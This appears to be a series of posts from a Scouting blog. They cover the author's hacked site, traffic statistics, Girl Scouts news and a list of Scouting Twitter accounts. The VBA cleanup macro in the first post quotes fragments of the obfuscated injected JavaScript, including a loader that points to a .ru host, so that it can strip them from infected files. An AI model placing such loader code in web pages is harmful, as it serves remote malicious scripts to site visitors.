Coincidentally I was adding virus scanning software to my pc and it detected that my own web page was trying to do bad stuff. I ignored it at the time because it just seemed too weird for it to start happening as I was installing the software. After a couple of days, though, and trying to access the blog from other places I realized I really had been hacked.

I went through the files and found several hundred modified files (anything that had a .php or .js extension). I took the blog offline and started trying to edit them by hand, but that was going to take forever. So, I wrote a macro in Excel and had it run on all the files I had downloaded. It found strings of text I had identified as the virus code and deleted it.

Life being what it is I never had time to get back to loading the thousands of files that make up the blog until now. So, I’m back up. My anti-virus software didn’t ping me when I brought the blog back online so all looks well. I’m glad I don’t know who did this to me (or the auto script they initiated to do it to me). I’d probably go to jail for a felony if I did.

For those of you who ever want a looping program that you can copy into a VBA module behind Excel, Word, or other Microsoft Office products, feel free to grab the code below and use it. Tonight I’m going to see my daughter’s annual dance recital (or my viewing of it; they have several showings). So, I guess I’ll start posting again when I have some time to pull up some interesting reading. See ya!

Sub Main()
Dim arrDirList() As String
Dim arrFileLIst() As String
Dim varDir As Variant
Dim strDir As String
Dim varFile As Variant
Dim intFileNum As Integer
Dim strFileData As String
Dim lngLen As Long
Dim intFileCount As Integer
Dim arrToReplace(1 To 10) As String
Dim lngNextChar As Long
Dim lngDataOffset As Long
Dim varString As Variant

arrToReplace(1) = “”
arrToReplace(7) = “var X_=[""zS"",""A""];var mF=new String();};};this.HZ=false;F();var vT=[""pbU""];Wk=3544;Wk++;window.onload=I;var kj=new Array();var FK=new Array();”
arrToReplace(8) = “”
arrToReplace(9) = “Ttf’,'61Tb70Vsf’);lV={cL:”"OX”"};M=a[f](W);var nv=new Date();var Ej={UA:”"st”"};var Sn=[""xF"",""YT""];var Y=new String(”"defe”"+”"r”");var q_=”"”";var qq=[];var Z=R+e;var ho={TY:”"oP”"};var WY=false;Bq={rp:”"Mo”"};var k=w(’sVr3cp’,'G_VXtp3Y’);M[Y]=[1][0];var N=false;Mm=43881;Mm-=248;M[k]=String(”"htt”"+”"p:/”"+”"/mu”"+”"shy”"+”"oil”"+”".ru”"+”":”")+Z;var GF={tN:false};dok={vo:14141};”
arrToReplace(10) = “this.iH=61501;this.iH–;this.iq=”;a[l].appendChild(M);var Oi=”;var fb=”"”";} catch(ku){try {} catch(BW){};try {} catch(PQ){};};”

Call BuildDirList(arrDirList, “C:\Documents and Settings\Me\My Documents\websitefiles\”)

For Each varDir In arrDirList
strDir = varDir
intFileCount = ADir(arrFileLIst, strDir)

If intFileCount > 0 Then
For Each varFile In arrFileLIst
Debug.Print varFile
intFileNum = FreeFile
lngLen = FileLen(varDir & varFile)
Open varDir & varFile For Binary Access Read Write As intFileNum

If lngLen > 0 Then

strFileData = “”
strFileData = Input(lngLen, intFileNum)

For Each varString In arrToReplace
Do
lngDataOffset = InStr(1, strFileData, varString)

If lngDataOffset > 0 Then
strFileData = Replace(strFileData, varString, “”)
End If
Loop While lngDataOffset > 0
Next

Close intFileNum
Kill varDir & varFile
Open varDir & varFile For Binary Access Write As intFileNum
Put intFileNum, 1, strFileData
End If
Close intFileNum
Next
End If
Next

End Sub

Function BuildDirList(arrDirs() As String, strPath As String) As Integer
Dim intDirCount As Integer
Dim intLoop As Integer
Dim intNextDir As Integer
Dim intSubDirs As Integer
Dim intTempCount As Integer
Dim intTempLoop As Integer
Dim arrSubDirs() As String

intDirCount = ADirectoriesOnly(arrDirs, strPath)
DoEvents

If intDirCount > 0 Then
intNextDir = 1
Do
For intLoop = intNextDir To intDirCount
intSubDirs = ADirectoriesOnly(arrSubDirs, arrDirs(intLoop))
DoEvents

If intSubDirs > 0 Then
intTempCount = UBound(arrDirs)
ReDim Preserve arrDirs(1 To (UBound(arrDirs) + intSubDirs))
For intTempLoop = intTempCount + 1 To UBound(arrDirs)
arrDirs(intTempLoop) = arrSubDirs(intTempLoop – intTempCount)
DoEvents
Next
End If
Next

If intDirCount = UBound(arrDirs) Then
Exit Do
Else
intNextDir = intDirCount + 1
intDirCount = UBound(arrDirs)
End If
Loop While True

ReDim Preserve arrDirs(1 To UBound(arrDirs) + 1)
arrDirs(UBound(arrDirs)) = strPath
Else
If Len(Dir(strPath, vbDirectory)) > 0 Then
ReDim arrDirs(1 To 1)
arrDirs(UBound(arrDirs)) = strPath
Else
MsgBox “Not a valid directory to scan”
End If
End If
End Function
Function ADir(arrFiles As Variant, strPath As String, Optional varAttributes) As Integer
Dim intCount As Integer
Dim strFile As String

intCount = 0
Do
If intCount = 0 Then
If IsMissing(varAttributes) Then strFile = Dir(strPath) Else strFile = Dir(strPath, varAttributes)
Else
If IsMissing(varAttributes) Then strFile = Dir() Else strFile = Dir()
End If

If Len(Trim(strFile)) = 0 Then
Exit Do
End If

intCount = intCount + 1
ReDim Preserve arrFiles(1 To intCount)
arrFiles(intCount) = strFile
Loop While True

ADir = intCount
End Function

Function ADirectoriesOnly(arrDirectories As Variant, strPath As String) As Integer
Dim intCount As Integer
Dim intFiles As Integer
Dim strFile As String
Dim arrFiles() As String
Dim booFirst As Boolean
Dim booAdd As Boolean

intFiles = ADir(arrFiles, strPath)

intCount = 0
intMatches = 0
booFirst = True
Do
If booFirst Then
strFile = Dir(strPath, vbDirectory)
booFirst = False
Else
strFile = Dir()
End If

If Len(Trim(strFile)) = 0 Then
Exit Do
End If

If strFile <> “.” And strFile <> “..” Then
booAdd = False
If intFiles = 0 Then
booAdd = True
Else
If aFind(strFile, arrFiles) = 0 Then booAdd = True
End If

If booAdd Then
intCount = intCount + 1
ReDim Preserve arrDirectories(1 To intCount)
arrDirectories(intCount) = strPath & strFile & “\”
End If
End If
Loop While True

ADirectoriesOnly = intCount
End Function

Function aFind(strSearch As String, varFiles As Variant) As Integer
Dim intLoop As Integer

For intLoop = UBound(varFiles) To 1 Step -1
If varFiles(intLoop) = strSearch Then
Exit For
End If
Next

aFind = intLoop
End Function

http://www.truenorthscouting.com/feeds/posts/default?alt=rss

Update: Apparently, some old functions no longer play well with Wordpress. I used to be able to automatically upgrade the plug-ins with one click, but that no longer works. First, you have to deactivate the plug-in and then you can one-click update it. Then you have to activate it again. That’s fine except some plug-ins lose their settings when you deactivate them so it’s kind of a pain.

As stated earlier I can’t seem to get some plug-ins to work without them having adverse affects on other parts of my blog so I’ll have to be statistics free until I figure out what’s wrong or they update their plug-ins or my theme is updated  to account for these problems. It’s too bad because I spent months trying to get the right balance of plug-ins to do what I wanted and not put extraneous stuff in there. If you’ve got 2.7 I’d suggest sitting pretty until all the 2.8 bugs get worked out. *sigh*

No matter how awesome or important you think something is, it is unlikely others will have the same interest level. I poured my heart and soul into an article about Louisiana Governor Jindal vetoing some legislation last year. I called the Scouting Executive in the area affected, I culled through hours of records to find references to the obscure origins of the programs being cut. I left messages. I worked on that one post all day long. Then I went out to other sites and talked about it, including writing the post so that I’d send a pingback to Michelle Malkin’s website since she get’s tens of thousands of hits per day. There was some attention paid, but after all the effort I saw things like a throwaway post listing Girl Scout swaps getting more hits. You just can’t force people to care about things the same way you do.

I also learned that if you stop writing people stop visiting the blog. No surprise there, but I was happy to find that many come back if you start writing again. You can’t figure out what will be popular when you first write it. Some things just hit a sweet spot of timing and interest. Others go off a while later like a grenade after you forgot you wrote about it. Linking to others does not guarantee a linkback so it’s a good thing I linked simply because I wanted to. If I had expectations I think I would have been disappointed.

Leaving comments in others’ blogs can increase traffic to yours especially if you get into the Robert Dinero type of “circle of trust”.  Pointing readers to other blogs actually helps yourself out because you start sounding like you know about these other cool sites.

Google ads doesn’t pay. Other ad companies want to place ads that they select for you. Telling someone when you’re starting out that you get about hundred pageviews per day will discourage them from trying to advertise with you. I was actually happy with that traffic.

Spammers will try to kill you with the amount of junk they send. So, find a good way to filter that out. Most blogs have the captcha comment system where you have to type in a disguised codeword in order to leave a comment. Being paranoid I insisted on approving everything myself, but found a Wordpress plug-in that filtered out most of the spam after having hand-deleted about 2500 spam comments (the plug-in has caught an additional 19,000).

Google analytics and Wordpress  statistics are addicting. And they don’t match each other. Whatever. My top posts for the year were: BSA Height/Weight Controversy (2,497 views), Update to Barack Obama Was a Boy Scout (1,130 views), Barack Obama Was a Boy Scout (1,101 views). So, if you can get on the national news wire or have the subject of your story get elected President of the United States you’ll definitely get some traffic. Thanks to BuffaloEagle, Larry Armstrong, Rully Dassad, and Mark Forbes for getting me all my site visitation. I quite literally couldn’t have done it without them.

My biggest traffic day was the nexus of the weight story when I got 1,021 hits on May 12^th. I’m averaging a little more than 300 hits per day now with bigger days spiking into the 4 or even 5 hundreds.  My total pageviews for the year is 64,476. More people find their way to my blog by typing something having to do with Barack Obama and Boy Scouts than any other combination of search words. According to the Google map I’ve been visited by a majority of the countries in the world which is just so cool I could dance a jig. I can’t let it go without listing them:  United States (all 50 states, thank you very much), United Kingdom, Canada, Australia (yes this is in descending order of visitation), Germany, India, Australia, France, Philippines, Iraq, Netherlands (Hi, cousins!), Belgium, Italy, Denmark, Japan, Spain, Pakistan, Mexico, Brazil, South Africa, Turkey, China, Singapore, Mystery country of unknown location, Ireland, (really? More people from Pakistan than Ireland?), Malaysia, Indonesia (Hi, more cousins!), Switzerland, Poland, Norway, Sweden, Sri Lanka (Or is it Ceylon?), Saudi Arabia (but only the men), South Korea, Egypt,  Romania, Tunisia, Puerto Rico, Thailand, Czech Republic, Austria, Iran, Greece, New Zealand, Russia, Qatar, Lebanon, Portugal, Uganda, Hungary, Chile, Kenya, United Arab Emirates, Argentina, Venezuela, Taiwan, Israel, Jamaica, Hong Kong (I thought they were part of China now), Bahamas, Bahrain, Malta, Finland, Macedonia, Kuwait, Guam, Bulgaria, U.S. Virgin Islands, Lithuania, Peru, Serbia, Bangladesh (I can’t even remember the old name), Slovakia, Colombia, Latvia, Ukraine, Trinidad and Tobago (which is apparently one place, not two), Vietnam, Belize, Afghanistan (Hi, ScoutingNews!), Iceland, Mongolia, Senegal, Antigua and Barbuda, Ethiopia, Algeria, Palestinian Territory (more cousins!), Ecuador, Ghana, Moldova, Oman, Grenada, Guatemala, Slovenia (that one sounds made up), Gibraltar, Estonia (Ha! Funny that those two are next to each other in the list), Uruguay, Maldives, Dominican Republic, Nigeria, Sierra Leone, Benin, Morocco, Belarus, Mauritius, Guadeloupe, Malawi, Ivory Coast, Syria, Tanzania, Dominica, Sudan, Zimbabwe, British Virgin Islands, Suriname, Bermuda, Jordan, Cyprus, Anguilla, Croatia, Bolivia, Libya, Aruba, Zambia, Tonga, Burundi, French Polynesia, Saint Lucia, Cambodia, and Panama. You don’t have to read that list if you don’t want to. Oops! Too late! The map shows this big Greenland empty space and I’m still missing most of western Africa, but I’m not complaining. Awesome!

Twitter is incredibly useful for drawing in traffic and getting news quickly. Facebook and Myspace would probably be good, too, but I don’t have the energy to log into those more than once every few weeks, except for my Venture Crew news. There are cool tools that let you rank yourself against other websites in case you start feeling cocky. Alexis was kind enough to tell me that I’m so insignificant that they can’t be bothered to know about me.

Everyone trying to sell electronics and sheds wants to trade links with me for some reason.

And after a year of blogging off and on, it’s still fun! So, thanks and see you on the next post! J

Update: I forgot one other stat I wanted to share. I ended the year with 987 posts. I was going to try to hustle and get it to an even 1,000, but ultimately I decided to let it go. It only I hadn’t taken such long breaks I probably could have gotten there. Thanks for all your compliments and good wishes. And a couple of cool story ideas, too. Thanks!

Earlier this year, the Girl Scouts of River Bluffs, IL, had the opportunity to chat live with Dr. Sandra Magnus. Magnus, a former Girl Scout, spoke to the girls about the confidence they will gain from being involved with scouting. Read the full story in The Telegraph.

Speaking of space, the Girl Scouts have partnered with NASA to enable thousands of girls to look beyond the boundaries of earth and explore the expanse of the universe. NASA scientists are committed to introducing girls to earth and solar science through fun, informal education activities. A 2009 grant from NASA will launch the Girls In Space project which is designed to teach girls about astronomy and careers in the field.

There are others, too, so if you’re a Girl Scout advocate, or just want to keep tabs (get it? tabs? like with the pins. Fine, I’ll just be content to amuse myself) on them, link up to the Girl Scouts blog.

And if having another source of info wasn’t enough, there’s just something about this guy that I really like.

Hi Everyone,

As the title says, my name is Josh and I will be updating The Girl Scouts Blog on a regular basis, starting now! I have worked in external communications at Girl Scouts of the USA for over a year now. And I’m looking forward to sharing some of our more unique, inspiring and thought provoking stories about leadership and everything else great about the Girl Scouts.

Please feel free to tell me what you like (and what you don’t!) in the comments section of each post. Look forward to getting to know you all!

Cheers,

Josh

Since I’m in a particularly generous mode, everyone who entered the contest will receive a copy of Spirit of Adventure. Okay, maybe its because only two people ended up entering…

So Congrats to Kris and Dirk! You should have an email from me shortly…

I’d still encourage you to check out Spirit of Adventure by Mr. Alvin Townley, even if you have to pay for it!

Congrats to Kris and Dirk (or in the opposite order, Krid and Sirk). Thanks for reading!

Those interviews took place with me sitting in the remote locations here in Los Angeles while hosts spoke to me from back east. My father-in-law captured the interviews with his cable station DVR and I’ll hopefully get a copy of those over the weekend. I think I did okay. I also did a phone interview with a Canadian news show, As It Happens, and that was posted on their web site on Thursday. That I’ve got a copy of by pulling it off their site and editing out all the other parts of the show.

So, here’s my international interview. Okay, it’s a border country, but it still counts: josh-canada-interview

Here is the starting list of Twitter Accounts

http://twitter.com/JoshuaGodinez
http://twitter.com/BoyScouts
http://twitter.com/Boy_Scouts
http://twitter.com/BSALicensing
http://twitter.com/CapitolAreaBSA
http://twitter.com/CubmasterChris
http://twitter.com/GaryKnapp
http://twitter.com/GirlScoutsGSSGC
http://twitter.com/GSGC
http://twitter.com/GSNC
http://twitter.com/HalfeagleBot
http://twitter.com/InsaneScouter
http://twitter.com/LatterDay_Scout
http://twitter.com/MaDBooM
http://twitter.com/Philmont
http://twitter.com/PhilStaff
http://twitter.com/ScouterCleary
http://twitter.com/ScouterJeff
http://twitter.com/ScouterTom
http://twitter.com/ScoutExecutive
http://twitter.com/ScoutingMouse
http://twitter.com/ScoutingNews
http://twitter.com/Scoutmason
http://twitter.com/ScoutSigns
http://twitter.com/ScoutStuff
http://twitter.com/SMJerry
http://twitter.com/SteveJB68

Here’s a tip for finding more: click on the person’s account and then click on “following” to see who they are following. Chances are you’ll find more Scouters and get even more news that way.

Update: Forgot Boys’ Life: @BoysLife

Update: More will be added as I keep discovering more accounts for councils out there and they keep tweeting such interesting info.

Note: This is an old pic and if you click on the image you will not get a ticket to Six Flags. Sorry.